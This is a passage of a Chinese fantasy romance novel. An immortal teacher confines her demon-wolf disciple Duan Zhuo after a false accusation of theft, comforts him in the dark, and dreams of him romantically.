“好奇怪的一个妖族少年呀……”
其实我并不知晓段灼此举的意义究竟是什么。
不过他偷偷扫过后,我的庭院确实干净了不少,但这只是于我而言的好处,而非于他而言的好处,为何他宁愿冒着被我发现的风险,也要将我这庭院扫得干干净净?
不过我又想,世间的所有事都要有意义才行吗?喜欢或是爱一个人于我而言,便是无意义的事。
而如今我亦知晓,他此番行径的原因最可能的便是喜欢我。
我问:“你可知他一般都是何时来?怎么来?”
“约莫是神女不在时来,怎么来的……大概是翻墙?”
“他时常会看着殿内的场景出神,起初我还以为他要偷东西,谁知他却也并不进去,只是看着。”
他如此行径,当真放肆。
像是将我的寝殿当成了自己家似的,想来就来,想走就走。
段灼浑身萦绕的魔气单薄,我能感受到我在他身上加的封印,却感受不到他身上的魔气,那魔气跟一缕烟似的,风一吹就消散了。
桃花精又说:“我瞧他对女仙,对我也并无恶意,女仙可不要伤了他!”
我道:“你倒是为他求情,他当初可威胁过你,若说出去就要将你砍了。”
桃花精道:“可他也并未真的将我砍了呀……”
我嗤笑:“所以要真的将你砍了才算是砍了?”
“你可知那时桃花树枯萎,全是因为他的魔气?”
桃花精惊讶又道:“啊!原来是他吗?也许……也许他并非故意的?我看他不像是坏人呀,毕竟这么多次也并未偷拿女仙的东西,也并未伤害我。”
段灼身上似乎还藏着许多我不知道的事,不过也是我不够警惕,就连他偷偷进我的寝殿,我都不曾知晓。
桃花精又道:“我还给过他一些桃花泪。”
桃花泪并非桃花的眼泪,是有百年以上的桃花树会结出的晶体,这样的晶体有益于修为,更能在凡间卖个好价格。
我笑道:“桃花泪是你自己的东西,赠予谁都在你。”
桃花泪给段灼其实并无用,最多能够换点钱,毕竟他无法修行,更无精进修为一说。
桃花泪我也并不需要,毕竟我这样的修为,此物于我而言,算不得什么。
我道:“你年岁还小,我可要告诫你,若以后得了造化,化为人形,遇到魔还是跑远些。”
桃花精却不懂:“为何?”
我道:“你这样食仙界灵气而生的小仙花,最是经受不住魔气侵蚀。”
桃花精似懂非懂道:“原是如此,多谢女仙提点!”
不过万事万物,各有各的命,若是他人有心,如何提点都无济于事。
*
无事可做之时,我喜好打坐,云恒常说我这日子过得无趣,不是修行打坐,就是睡觉,为何不寻一些别的乐子?
我指着我的弟子们道:“这不收了些徒弟为我找乐子吗?”
云恒又道:“你收了他们,却也只是为你自己徒增烦心事。”
在理啊,毕竟这些年我早就想罢工不干了,就是
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差个契机罢了。
打坐也好,睡觉也罢,这些都是我消磨时间的方式。
打坐修行,能将脑中的杂念赶出去,感受不到万事万物,亦感受不到时间的流逝。
不知过去了多久,我睁开眼,碧水瑶台中漆黑一片,桃花枝头栖息着鸟雀,远山在黑暗中只留下个微弱的轮廓。
天黑了。
我站起来,看着漆黑夜空中挂着的那轮清冷圆月。
“……”
我睁开眼却并非打坐结束了,而是我耳边出现了嘈杂的人声,今夜弟子居似乎乱做一团了。
不过却未见有人来与我报些什么,想来是发生了不需要我出面便能够解决的事。
碧水瑶台中的一切都逃不过我的五感,弟子们说些什么,做些什么,虽然不能字字句句都听得清楚明了,但却能有个大致的感应,不过我一般懒得去感受,人无非是贪嗔痴慢疑,这些杂念听多了,反倒会干扰我的想法。
我感觉到他们将段灼围在中间,似乎正在指责他,段灼始终低着头。
而后又是几个弟子进他的屋子里,在翻找着些什么。
既然并未影响到我,我亦不会闻声而去,且若是无人寻我,便当做没发生过。
我将五感屏蔽在外,睡了个好觉。
*
晨间,碧水瑶台的天还未亮,一帮弟子押着段灼到我寝殿中来了。
我看着台下这一帮吵吵嚷嚷的人,我觉得我还尚未从睡梦中醒来,眼前的人和物都看得还不太清楚。
仙没睡醒之时,就算是我,脾气也不会太好,不过我并未发作。
我坐于殿上,凝眸看着被五花大绑的段灼,他苍白的脸颊上有不少伤痕,看来昨夜是吃了不少苦头。
如今他正正低垂着眼眸,谁也不看,这副模样倒是可怜。
我记得昨日段灼与他们一同去采买,很晚才回来。
怎么今日一大早就将他绑来?
段灼又缓缓抬头看向我,那双眼眸亦如往日漆黑,我分辨不出其中的情绪,只觉得他眼中少了些光亮。
他跪着,我坐着,我看他就像在看这殿中的任何一个弟子。
除了将段灼捆来,他们还搬进来了一个硕大的箱子。
我觉得这个箱子有些眼熟,像是在哪里看见过。
他们将东西带齐了,人也带齐了,朝我行礼道:“师尊安好。”
我扫过他们每一个人,他们神态各异,有的是厌恶,有的是幸灾乐祸,我不动声色道:“起来。”
“有何事?”
为首的弟子跪地,他是昨日来寻我的掌事弟子:“启禀师尊,是下山采买出了些事,只是昨日太晚,便不好打扰师尊,只得晨间来。”
我点了点头,示意他继续说。
我又看向那箱子,脑中有一个画面一闪而过,我骤然明白了究竟在哪里见过这箱子。
前几日的春-梦,梦中段灼将我带到了他的住处,我感叹房中干净之时,曾看到过这只躺在在角落里的箱子。
17. 第十七章
那弟子的话音将我的思绪拉了回来,他道:“昨日弟子将采买清单与银两交于段师弟及其他几位师弟。”
他指着其中一人道:“这位师弟便是彼此采买的负责人。”
那弟子站出来道:“我将师兄交于我的银两与采买的清单分配给几位师弟,商量分头去买后再集合,几位师弟应答下,不多时我们便分开了。”
“几位师弟都在场之时,我便挨着分发足够的银两,照理来说,是点够了的。”
“可归来时段师弟却道,买那物的银两不够,可我点了银钱三次,必然不会出现这种情况。”
“试问段师弟为何不在我分发清点之时说,而是在回来之时说不够?这银两究竟是不够,还是被段师弟花了,只有段师弟自己才清楚!”
“我与几位师弟搜了段师弟的身,却只寻到一支女子用的簪子,我们便怀疑段师弟将这钱拿去买此物了!”
那弟子说罢,将那簪子递到我手中,我接过簪子看了又看。
这是一支极其朴素的银簪,并未坠饰,只有簪身上有些雕琢的云纹,想来也是不值几个钱的。
段灼冷冷地看着他:“师兄走时与我说采买之物,只需五钱,亦只给我五钱,可那物要十钱,我说不够又有何错?”
那弟子见他反驳,便大着嗓门道:“我可从未说过这样的话!”
段灼倒是冷漠又淡然:“说过与否,只有师兄自己知晓。”
段灼又转头看向我:“且那簪子,是我花自己的银两买的,还请师尊明察。”
他的话音平静,那双漆黑的眼看着我,神色中竟有几分与方才那副冰冷模样不同的委屈与神伤。
酸涩之感在我心头蔓延开,让我怔然,我将眼神挪开不再看他。
我知晓,可能真如段灼所言这般。
但我是师尊,不能表现出倾倒任何一方,于是我并未说什么。
那弟子也急声道:“请师尊明察!我并未说过此言!”
我神色幽幽,落在他们二人之间,约莫是被我看得发毛,那弟子又道:“且不说别的,段师弟可敢说你口中所谓的‘自己的钱’究竟是从何而来?”
我知道,只有这个“从何而来”,段灼是不敢说的。
果然,段灼埋着头,被捆住的双手握成拳心,他不言不语,青丝垂下遮住眉眼,我看不到他的神色,却感觉到了他情绪。
那弟子见他低头不说话,以为自己的话戳到了,便步步逼近,趾高气昂道:“念及段师弟出自妖魔一族,品行败坏,难以规训,若是一次,尚且可以原谅,既是同门,我们也当为段师弟求情……”
我:“……”
我都还并未说话,不知他究竟在高傲些什么。
“但!偏偏我与师弟们还在段师弟的房中搜到了许多东西,且还有别的师弟道,上次采买亲眼看见段师弟偷藏银两!”
我发现那名说段灼偷藏银两的弟子正是我指了与段灼比武较技的弟子。
他道:“弟子之前曾与段师弟一同去采买,亲眼所见。”
依旧是一副趾高气昂,鼻孔看人,叫人想一拳把他脸打肿的样子。
我不知道他究竟是有多恨段灼,做假证这种事情也能做出来,也不怕段灼报复他。
他上前将置于殿中的箱子打开,箱中琳琅满目都是女子之物,大到衣裳,小到发簪、胭脂。
他指着箱中之物道:“师尊请看,这些都是段灼私藏采买之财所买下的!不知段师弟是恋慕仙界的哪位女仙,竟私藏了这么多女子之物想要赠予她!”
在箱子打开后,段灼的耳根透红,一直延伸到苍白的脖颈,头埋得更低些,身体也在微微颤抖。
我:“……”
我摸了摸发间的桃花簪,想起了一些与段灼有关的陈年旧事,我的心中产生了一个想法。
这些东西似乎都是段灼买来想送给我,但不知出于何缘由,并未送给我。
那弟子见段灼无话可说,那鼻孔比方才还抬得更高一些:“人证物证俱在,我敢断定,就是段师弟偷盗了采买的钱财!”
我并未接他的话,只问段灼:“你可有想说的?”
段灼闻声,缓缓将头抬起来看向我,他那双寂静的眼眸中蓄了些泪,一字一句问我:“师尊也觉得,我品行败坏,难以规训吗?”
他眼中的委屈如雨溢了出来,他将自己的下唇咬得血肉模糊,面如死灰,手腕处累累伤痕也不在意。
他不在意自己,好似只在意我对他的态度。
我回答:“是。”
想来我的话亦如尖刺,狠狠扎在了他的心上。
他的双手骤然垂下,双眸中流转的泪光缓缓滚落,与他满腹的委屈一同倾泻而出。
他从口中咬出几个字:“弟子并未窃取门内之财。”
其实我知道他没偷,不过也不管他偷没偷,这罪名都是要坐实在他身上的。
旁边的弟子又问道:“那你买这些女子之物究竟是想送给哪位女仙的?”
段灼神色倔强地看着我:“我……”
我打断道:“莫要提及无关之人。”
那弟子这才悻悻收了声:“是。”
我看着段灼,段灼亦看着我,只是他不再说别的。
我心中想,若是段灼此刻发疯说了这些东西是打算送给我的,他自己被逐出师门也就罢了,但如此众目睽睽,我怕这些弟子会一传十十传百,届时不知他们会传成什么样,又会如何说我。
碧水瑶台的门规第一条便是,不得恋慕师尊,违者逐出师门。
门规是我照抄的,但我记性一向都好,过目不忘,这些弟子更是熟背。
我说过之后,在场弟子无一人说话,我的耳根总算是清静了。
我看向段灼,做下了决断:“将段灼关入幽闭五日,若还是不思悔过,再另做惩戒。”
幽闭五日,已是碧水瑶台极重的惩罚,不说五日,就是三日也能将人熬得死去活来。
我本想罚他七日,可七日后还有蟠桃宴要带着他一起参加,去幽闭后恢复需两日,只关五日的话,正好赶得上。
见我如此,段灼低下头,啜泣的声音破碎又细微,越过人群,传到了我的耳中。
他心中委屈,却也只得接受这样的结果。
我想,他是不是甚至有些恨我了。
我不再看他眼中那些细碎而微弱的泪光。
弟子们将段灼带出去,他们神色各异,人人都知晓他是被冤枉的,却并无一人觉得他可怜。
临走前,掌事弟子还问我:“师尊,这些赃物该如何处置?”
整个碧水瑶台只我一人是女子,这些女子用的东西自然也只有我才用得上,但既然是
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赃物,我便不可能会拿出来用。
我道:“放在我这里吧。”
“是。”
等人都出去,殿中也安静了。
段灼方才跪下的地方留下一下片水渍,那是他的眼泪流下的痕迹。
段灼的钱是卖了桃花精送的桃花泪换的,他不说是怕偷潜入我殿中,我怪罪于他。
他并无修为,用不了这桃花,与旁人关系不好,亦无人可送这桃花泪,如此二者,便可以得出此结论。
至于采买的银两究竟去了何处,估计只有其他几人知道。
至于我说他那些东西可能都是买来送我的,却也并不是我自作多情。
我看着面前的箱子陷入了沉思,亦回忆起了一些陈年旧事。
我知道箱中的物件已存放许久,我垂眸看着箱中的檀木盒子,我将那盒子打开,里面静静躺着一支做工粗糙且样式极为普通的竹笛,其上并无花纹或坠饰。
也正因这支竹笛比我所看过的笛子都要普通,故而我才能清楚记得,这支笛子我曾见过。
我的寝殿中放了许多笛子,琉璃的、水晶的、玛瑙的、玉石的,应有尽有,多是我爹我娘送的,还有我爹我娘的那些挚友送的。
从前我爹喜好吹笛,他与我娘能结为道侣,最初也是因为一段笛音,他说我娘听到这段笛音,就知道是他来了。
也因此,我爹在我儿时便教我吹笛。
他们仙去,我也少有吹过笛子,我不知段灼是知晓我会吹,还是歪打正着。
而我回忆起的陈年旧事,还得从三年前说起。
那年的某一日我闲来无事,在碧水瑶台后山人烟稀少之处打坐,我闭眼打坐没一会儿,却听见有人声从林中传来。
那是一个如竹林苍翠的少年音,他好似在独自一人练习着什么,不断重复着,修正着话中的字字句句,似乎这般说他觉得不对,那般说他也觉得不对。
“这是赠予你的。”
“此物是我赠予你的。”
“我想将此物赠予你。”
“……”
从他的话中我大概能明白,他是想将某物送给某人,但却不知如何开口说,于是独自练习起来。
他的话叫我觉得他像是一个初初化为人形的小妖,茕茕独行于世间,就连字句如何组合上都不知。
我躲在暗处,听这少年说着,他的声音清脆悦耳,纵然是细密的念叨,却也不会让人觉得烦。
我不记得我的弟子中有声音这样好听的少年。
我猜测,如此小心翼翼字斟句酌,想来是送给心爱之人的。
虽然我不懂这些,却也知晓若是我想送云恒某个东西,我只需丢给她便是,不用这般小心翼翼想自己该如何说。
这样坦诚的少年,难免叫人心中生出些好感,我那时也真心希望我这弟子能与他心爱之人在一起。
既是我碧水瑶台的弟子,想来他的心爱之人亦有可能是仙。
且古往今来,只有人妖殊途,仙魔殊途,却从未有过人仙殊途的说法。
且就算是殊途,却也只留得“情愿”二字,也能生生世世亦长长久久。
可我听着听着,却突然听到足以让我瞳孔震颤二字。
是那少年加上了对恋慕之人的称呼。
“见到此物,觉得适合师尊,便买来赠予师尊。”
18. 第十八章
多年前听过的话,在前几日,段灼一字不落说给我听,并且还将那支桃花簪赠予我了。
不过那时,我并不知道这少年就是段灼。
“……”
我愣在原地呆若木鸡,意识到似乎吃瓜吃到自己身上了。
其实我觉得人与仙其实也是殊途的,倒也不是我善变,就是寿命不同,如何相守?
师徒恋也是不可取的,我是一个思想保守的仙。
我的弟子入门之后,我会先让他们熟背碧水瑶台的门规,此书翻开第一页第一句话便是:“其一为,不得恋慕师尊,违者逐出师门。”
且我自问从未对任何弟子做过逾越师徒关系的事,为何这弟子会对我产生这种想法?
我打算从暗处出来,待我知晓这个恋慕师尊的逆徒是谁,我一定会对他的错误思想加以纠正。
于是,我看到了段灼和他手中的竹笛。
少年那张好看又与芜奚极其相似的脸泛着红,我眼前一黑,恨不得当场戳瞎双眼。
我尝试着解读他的话,想来是碧水瑶台中也并无别的女子,再加上平日里我也比较凶,故而他想送我点东西,心中要为自己不停摇旗呐喊,还要多次练习。
但我泄气了,这种说法显然并不能说服我,毕竟对待师尊,只需尊重,不需小心翼翼,更不需脸红。
虽说我对这样的情感虽也懵懂,但到底也能看懂。
至于后来为何不直接将他赶出师门,因他并未对我表明心迹,别的弟子也并不知晓,便不算是有人知晓他“恋慕师尊。”
最重要的是他是魔尊之子,贸然将他赶走岂不是给我自己找麻烦。
我听见了,但是他并不知道我听见了,那就当没发生过吧。
多一事不如少一事。
那时,段灼入我门内只有三年,且我与他并未时常接触。
我知晓我自己的性子,通常收了弟子回来,新鲜几日,也就放在一边不管不顾了。
不过该教的该学的,一样也没少。
那时知晓后,我失眠了好几日。
我收了不少徒弟,却从未发生过这种事,如此对我打击颇大。
思来想去,我都觉得自己并未做过让他误解的事,我实在不懂,他究竟为何对我产生这样的心思的。
他能不能与我说说,我改还不行吗?
我胆战心惊了好些时日,但最终都不见他送来,后来我逐渐忘记了这事。
在看到箱子,拿出竹笛的那一刻,我又全都记起来了。
往后的三年中,段灼也从未送过我任何东西。
前几日的桃花簪,亦是第一次。
思及此处,我的指尖不禁抚过发间的桃花簪,想起了段灼那双时时漆黑的眼,想起了他额间一点红。
他被送到仙界时,是初化人形的小妖,我从一群仙中将他带走,虽然叫着他人的名字,不过也算庇佑了他,才致使他对我生出情感,产生了依赖。
在我看来这并非喜欢,毕竟喜欢应当是在了解这人性情的基础上才会产生的。
段灼也并不了解我,他对我的情感当是凡人口中的雏鸟情结。
又过了许多年,我从段灼身上还是能够看到那红着眼眸的少年身影。
他哭时,难过时,脸红时,羞怯时,仿若又是当初那个在风中手持竹笛,笨拙练习如何说话的少年。
但偶尔,我会想起他用那双漆黑的眸死死盯着我,鬼森森又赤-裸裸,叫我有种被恶狼窥伺之感。
不过这种感觉多在梦中。
经年过后,他在竹林中练习了许久的声音才终于传到了我耳中,但我却再无当初那种“希望他与心爱之人”能在一起的心境。
我的心中充斥着“为何是我”几个大字。
*
我并未再多想。
入夜后,我会去幽闭看看段灼。
并非我心疼段灼,而是被关入幽闭的弟子,第一日夜里我都会去查看他们的状况。
若身体不适,无法忍受幽闭,便会换其他方法处置。
幽闭是碧水瑶台后山专门惩戒犯错弟子的结界,结界中只有一片漆黑,也正是这片漆黑叫人畏惧。
在幽闭中的人不知时间的流逝,会平静到慌乱,再到癫狂。
天色漆黑,月光冷然。
碧水瑶台中寂静一片,我走出寝殿,捏了个诀,瞬身到幽闭附近。
我挥了挥袖,幽闭的结界入口打开,从此处便能看见其中的黑暗。
若非我从外面打开结界入口,幽闭是只进不出的。
幽闭不会限制我的法术,在黑暗中我亦能将眼前的场景看得一清二楚。
我往里面走了两步,看见了正蜷缩在角落中的段灼,轻轻抖着身体啜泣。
“我没有……父亲,我再也不跑了,我知错,不要把我关在这里面……”
“不要打我娘,我知道错了,我知道错了父亲……”
段灼的声音颤抖,似乎过往的痛苦记忆正包裹着他,正如尖刺刺伤他。
我见过许多次段灼哭,看着他流泪,却从未见过他哭出声来。
时间仿若回了五年前,我第一次见到段灼,他那副在人群中警惕又楚楚可怜的样子,谁也不知他之前在魔域中经历了些什么。
谁也不关心他究竟经历了些什么。
没有在意一只小狼妖的过去。
就正如花落在地上,被人踩了一脚,不会有人在意花的死活,在意花疼不疼,只有花自己才在意。
当然,我也不在意,我不在意他的过去,亦不在意花的死活,我只是芸芸众仙中的一个。
我听到他的哭声,和其中断断续续的字句,骤然明白,魔尊对他不好,对他母亲也不好。
不过,不好也正常,若是真的喜欢他,也不会将他送来这里。
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我幼时被困于酆都,曾见过魔尊一面,但我对他的印象不深。
那时的我,满心满眼都燃烧着仇恨的怒火,只想有朝一日能将他手刃。
魔尊嗜血残暴,是残杀我双亲的仇人了,这样冷酷无情的魔,对自己的儿子残忍,似乎也正常。
我一步步走去,段灼跪坐在原地,四顾茫然,什么都看不见,只是狼耳敏锐,听见了脚步声,却看不到来人究竟在哪里。
他的眼泪还在流着,我走到他身前,替他擦拭着眼泪。
他在黑暗中一怔,身体轻轻拱起,剧烈颤抖,他冰冷湿润的脸颊紧紧贴着我的掌心,眼泪模糊在我的掌中。
那是世上最炽热,最痛的眼泪,我也曾流下过这样滚烫炽热泪。
段灼喃喃道:“娘……”
我心中动容,却并非是因为觉得他可怜,只是我与他一样,儿时都深深依恋着世上与我亲密无间到血脉相连的人。
他小心翼翼捧过我的手掌,像得到了一片温热的可依偎之物,他的泪还在悄无声息流着,纵然他生得那样好看,可如今还是哭得有些难看。
我安抚着他,就像是安抚着年幼之时便失去至亲的自己。
那个战后孤零零在碧水瑶台中,舔舐着失去至亲的疼痛伤口的少女。
他们都说我爹我娘是战神,是三界中的大英雄,他们爱苍生,爱天下人,却独独不爱我。
但这却只是我赌气的话。
儿时的记忆告诉我,他们也爱我,只是大义当前,总会有人牺牲。
我犹记仙魔大战后的仙界,举目四望,只得见一片颓然之景。
仙们或牺牲,或隐逸,不见如今仙门处处。
近百年来,飞升者众多,仙界的人也多了起来,如今仙界繁荣,但来去的已然不是过去那些仙了。
我看着段灼痛苦的模样,指尖轻抚过他的额心、脸颊,如今我并非是他的师尊,只是他梦呓之下的“娘”。
他不会知晓我来过,只会觉得梦见还在酆都魔宫中,枕在母亲腿间,额间的碎发被母亲轻柔抚过,像一阵带着暖意的风吹过又散了。
想来是魔尊曾惩将他关进过这样漆黑的屋子,才叫他回忆起了从前。
我想,段灼出去以后,定会万分恨我,跟痛恨他作为魔尊的爹一般。
我又想起了段灼那沉默寡言的模样,想起了他看向我时,那双宛若小狗湿漉漉的眼。
就算有预知梦,我亦恨不起段灼。
段灼蜷缩在我的腿上,低声啜泣,眼泪奔流,有些薄茧的指尖将我的裙襟握在手中,揉得皱巴,往日他可不敢这样做。
他将我的五指抓在手掌心里,我的指尖贴过他的脸颊,才给他带来了些安全感。
他又成了那只小狼妖,全然没了往日的沉默寡言,有思念与泪。
不过我又想,恨我也罢,爱我也罢,我还是我,他亦还是他。
19. 第十九章
这些年被关入幽闭的弟子不少,却从未像段灼这般哭得惨烈,我亦从未像安慰段灼这般安慰过他们。
我是个性子比较寡淡的人,碧水瑶台中无论是修行认真的还是不认真弟子,我与他们的关系都算不得多熟悉。
段灼还在一边落泪,一边喃喃。
“娘……”
“你与我说哭没用,后来我……我就并未哭过了。”
“娘……酆都城外的世界,一点都不好,我想回家。”
“你让我逃出去,可我又能逃到哪去?”
四海之大,却独独没有一只妖的容身之处。
他说自己从未哭过,其实也哭过许多次了。
段灼已经不小了,至少在凡间也是青年少年的年纪,站起来亦比我高出许多,可如今在我眼前却还是一副哭着闹着要找娘亲的孩子模样。
可我又有什么资格这般说他,若是我爹娘还在世,骤然出现在我面前,我会比他哭得更像孩子。
我另一只手轻轻拍着他,直至他在我怀中安然睡去,喃喃之声消失,我才抽身出来。
我将他勾着我的指尖个个掰开,在走前,听到他轻轻唤了一声。
“师……尊……”
这还只是第一日,往后这五日我都不会来看他。
我捏诀,出了幽闭结界。
在幽闭中感觉不到时间的流逝,回寝殿时,夜已深,就连桃花精这样夜里精神的精怪都开始呼呼大睡了。
弟子们抬到我殿中的箱子还在原地,装着竹笛的木盒放在最上面,我将盒子打开,拿出竹笛。
那笛子的做工并不精细,我抚摸过上面的痕迹,却不小心被倒刺扎进了肉中,疼得我微微蹙起眉心。
那瞬间,我想起了许多模样的段灼,有他落泪难过的,伤心失落的,梦中痴神的,亦有方才所见梦呓的。
我将倒刺从我的血肉中拔出来,亦将方才我脑中关于段灼的模样连根拔出。
我走到庭院中,将这竹笛放在唇边吹了起来,吹的是当初我爹教我的曲子。
我已有多年未曾吹过笛子,如今笛艺生疏,这竹笛材质一般,笛声嘶哑,竟吹出了我从未吹出过的难听声音,就连庭院中的桃花精都被吓醒了。
桃花精昏昏沉沉飞到我身边道:“女仙……”
“女仙方才可有听到一声嘶哑难听的鸟叫?我本在梦中,却被这鸟叫声吓醒了。”
我:“……”
我将手中的竹笛藏于身后,摇了摇头:“许是你做梦了?”
桃花精闻言,身体又缓缓耷拉下去,逐渐进入梦乡,她喃喃道:“许是……许是我听错了,女仙,我先……”
“呼呼呼……”
“睡了”二字还未说出来,桃花精便睡着了。
落了雨,淅淅沥沥裹着庭院中纷飞的桃花。
我站在屋檐下,整个碧水瑶台逐渐笼罩在浓重的雨雾中,我凝眸看向远处,只能约莫看见些月影轮廓。
碧水瑶台中的变化皆在于我,而下雨则说明我的心情并不是很好,但奇怪的是我自己并未感觉到心情不好。
不知从何时开始,我对情绪的感知竟这般顿然。
我将竹笛放回盒中,看来吹是不能了,这样嘶哑的声音吹出来有损我的形象,好歹我的笛音从前也是受过许多仙赞扬的。
我施法将那箱子挪到了屋中的角落里,等哪日有空了再翻出来看看,我自小在仙界长大,凡间女子用的那些东西倒也没用过,也没见,还真有些好奇。
不过今夜太晚了,我的生物钟都开始响了,一到时间两眼一昏,躺在床上便要睡去。
但是我躺在床上时,还是支撑着眼皮想了一会儿,胡乱想着今日的事,我突然想起,今日我在幽闭触碰了段灼,那今夜我又要做与他有关的春梦了。
我翻了个身,想着若是今夜他再来,我一定会拒绝的。
想着想着,我便昏昏睡去。
我睁开眼,看着周围空旷又漆黑的场景,我似乎还在幽闭中,除了眼前的一片漆黑,我还看见了不远处的段灼。
隔得太远,我看不清段灼的神色。
当经历过的场景再重复第二次,我便知道,我是在梦中。
我与段灼的春梦总是会在我与他相处过的某个地方或是某段时间,如今看来应当是我去幽闭看段灼之时。
我走到了段灼面前,我看着他,他亦转头看向我,那双眸似乎要与这黑暗交融在一起,唇白齿红,他张口唤道:“师尊。”
我问:“你看得见?”
段灼轻笑,似乎我问了什么好笑的问题,他抬手,骨节分明的指尖抚过我的脸颊,掌中粗粝的茧叫我生出一些怪异的感觉。
他道:“师尊希望我看见。”
我道:“我并未如此希望。”
我不喜欢被人揣测心中的想法,便下意识拒绝,且我并无这样的想法。
我知晓他有每一次春梦的记忆,就像是梦中的另一个段灼,但他并未提起,也并未因上次的事与我怄气,叫我觉得这个段灼与梦外的段灼有些相似,都是个不记仇的,如何打如何骂都不走。
他道:“师尊希望。”
我抓住他胡乱在我脸上比划的指尖,凝眸看向他,看向那张与段灼十分像的面容。
我问他:“你究竟是不是段灼?”
这个问题让眼前的少年一怔,他神色中拢起了一些委屈,侧身亲着我的脸颊,低声道:“我是段灼。”
我却摇头道:“你不是,你只是我梦见的,与段灼长得一模一样的另一个人。”
段灼又道:“我是段灼。”
他长了与段灼一模一样的脸,我怀疑他,他一遍遍说着自己就是段灼,这样的场景有些诡异。
春梦其实算不得什么,神仙虽比妖魔内敛,却也不似凡人含蓄,既有欲,那便需要发泄之处,而非刻意去隐忍。
可我不理解的是,为何梦中这张脸一定是段灼的而不是别人的?
但我又想了想,若是别人,让我与他做这些事,我会觉得有些恶心。
不过除了段灼,我对其他弟子的印象并不深刻,甚至有一些我亲自领进门的,到现在我都不知道叫什么名字。
我立在原地凝眸思索,并无别的动作。
在段灼看来,就像是纵容他亲昵而越界的行径。
段灼的手并不老实,不过在梦中他没有一处是老实的。
段灼问我:“那我是谁?”
我:“谁也不是,你只是我幻想出来的虚影。”
我看向他,我知道他也并不是个活人,于是我对他说了心里话。
“是这些年我太孤独,才会有你。”
我每日的生活便是打坐修行、练剑、睡觉,再无别的,从前还会下山,后来见过千人千面,觉得下山也无趣。
他双手捧着我的脸颊,仔细看着我的眉眼似的,漫不经心道:“师
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尊觉得孤独吗?”
我点头,又“嗯”了一声。
我自小便对很多情感感触迟缓,就连这样的孤独也是花了许多年才品出来。
他亲吻着我的眉眼,向我认真允诺着:“在过去和未来,师尊觉得孤独之时,我都会陪在师尊身边。”
我知道他这样的许诺难免过于荒谬,他只是我触碰段灼后,在梦中产生的梦影,若是有一日段灼走了,他也会离开。
但似乎除了他,也并无别人会对我说这样好听的话了,就算是哄我的,我也答应下,至少这时听着会开心。
段灼的唇拂过我的发间,又道:“师尊是我的妻。”
这话说完,还不等我去说些什么拒绝,段灼便吻住了我的唇,指尖拂过我的发间,带着些安抚的味道。
我听到这话以后,心中只有几个大字“他怎么敢说的”。
他吻着我,丝毫不给我喘息和还嘴的机会。
幽闭中的黑暗快要将我淹没,我的心还在因为他的话而微微震颤。
我不明白他为何突然这么说,为何敢这么说,师尊只能是师尊,师尊不能是妻子。
他与我吻得缠绵,紧紧贴身抚着,叫我浑身麻木酸涩,软了下去,他接住我,我蜷缩在他怀中,这个吻后,我红着脸,轻轻喘气。
我在他怀中没了力气,但看着他这张与段灼一模一样的脸,想到他方才大逆不道的话,还是开口道:“我只会是你的师尊。”
我不会是他的妻,时至今日,我也从未想过成为任何人的妻。
段灼那双漆黑的眼眸在黑暗中落在我身上,他重复着:“师尊是我的妻。”
我想起了之前段灼与我说过的话,说让我打重一些。
我扬手,纵然浑身都软了还是用尽力气一巴掌扇在他的脸上,寂静的黑夜中,我听见了沉闷的声响,段灼的头歪到了一边,他的唇边落了些血出来。
我道:“我是谁的妻都不会是你的妻。”
我在他怀中,被他吻得脱力,如今就连凶都不成样子了。
他侧着脸,似乎是在反应这一巴掌带来的余震。
我想起了梦外,段灼吃了我一巴掌后,那双眸立刻就翻涌了些泪来。
面前的段灼却并未哭,我的话音落地了,他才缓缓垂眸看我,竟勾起唇,朝我露出一个笑容。
他的脸颊微微泛着红,就连眼中也带着红,却亲昵般拾起我的指尖,看着我的掌心。
“师尊可觉得痛?”
我尝试着将手收回来,却被他紧紧握住,我只能别过头道:“不痛。”
但其实是有些痛的。
他又说:“我帮师尊看看。”
我将手掌合上,却又被他一个个固执地掰开,他仔细看着我的掌心,埋下头。
我感受到了掌心中的湿润。
他正在一下又一下轻轻舔舐我的掌心。
有些湿润,有些热,但是却让我觉得别扭,看着他一下又一下露出艳泽的舌尖,我的脸要烧起来了。
我想抽回来,他却将我的指尖握得更紧了。
段灼抬眼看着我,他的脸颊逐渐红肿起来,他却像是不知道似的,与我说道:“儿时我受伤,我娘就是这样为我舔舐身上的皮毛。”
他提起“娘亲”二字,我才知我误会他刚刚的行径了,我以为段灼是在对我行一些暧昧之事。
段灼又说:“师尊的掌心是香的,纵然打我,也并不疼。”
20. 第二十章
我道:“若你在意的并非是疼,而是香,那便说明我这一巴掌打得还不够重。”
我心道,若非我浑身无力,那我必然要将他打成那副泪眼纷然的样子。
段灼闻声一怔,笑得眉目弯弯,他道:“师尊想如何,便可以如何,就算师尊将青霜插入我的胸口,将我这颗心挖出来,我也不会说一个‘不’字。”
我望进他那双眸中,看到了些他痴醉的模样。
少年垂下的发丝耷拉在我的身上,与我的发丝交缠,我与他之间,亦有些理不清了。
他将我的五指按在他的胸口处,我听见他胸腔之中那颗心正在剧烈跳动着,我惊讶竟然在梦中他亦有心跳声。
我冷不丁道:“上次你可哭了。”
段灼道:“上次是因为师尊心中对我心怀猜忌,我才会难过。若是能让师尊高兴,那我也会高兴。”
我一怔,冷声道:“我没这么无聊。”
段灼却也只是笑,并未再说些什么。
我卧在段灼怀中,他亦将脑袋埋在我怀中,他与我保持这个动作许久,像在汲取对方怀中的温暖。
许久后,我问道:“你不对我做些别的吗?”
段灼从我怀中起来,他看着我,凝眸微微思索。
他的眼神让我有些不自在,其实就连我也不知道为何自己会问出这样的问题,就像是……我在期待。
我解释道:“我只是觉得今日与往日不同,这才好奇问。”
段灼一怔,勾住我的指尖,也笑:“我从前从未见过师尊对什么好奇。”
我在他怀中热热的,小声喃喃:“我也曾对别的东西好奇过,只是你并不知道。”
段灼并未接过我的话,只是又道:“我知晓师尊不是期待。”
我:“那你为何不……”
我轻轻咳了一声,后面的话没有说出来。
段灼道:“因为师尊不想。”
我:“其实前几次我也并未多想……”
我睡前曾经在心中想过,若是晚上段灼要与我做那事儿,我会拒绝的。
段灼看着我,弯起眉眼,露出一个少年似的天真笑容:“前几次,师尊是愿意的。”
我骤然烧红了脸,出声反驳:“前几次我也并未愿意!”
段灼将脑袋埋在我怀中,他的声音中还带着些笑意:“师尊说是什么,便是什么。”
他这副模样就像是在纵容我,叫我觉得作为师尊的尊严尽失。
但我想了想,其实在他怀中的那一刻,我便已经没了所谓的师尊尊严。
我不再说别的,是就是吧,前几次我确实是想的,纵然是承认也没什么,反正也不会被旁人知晓。
我问他:“你知晓我心里,关于你在想些什么吗?”
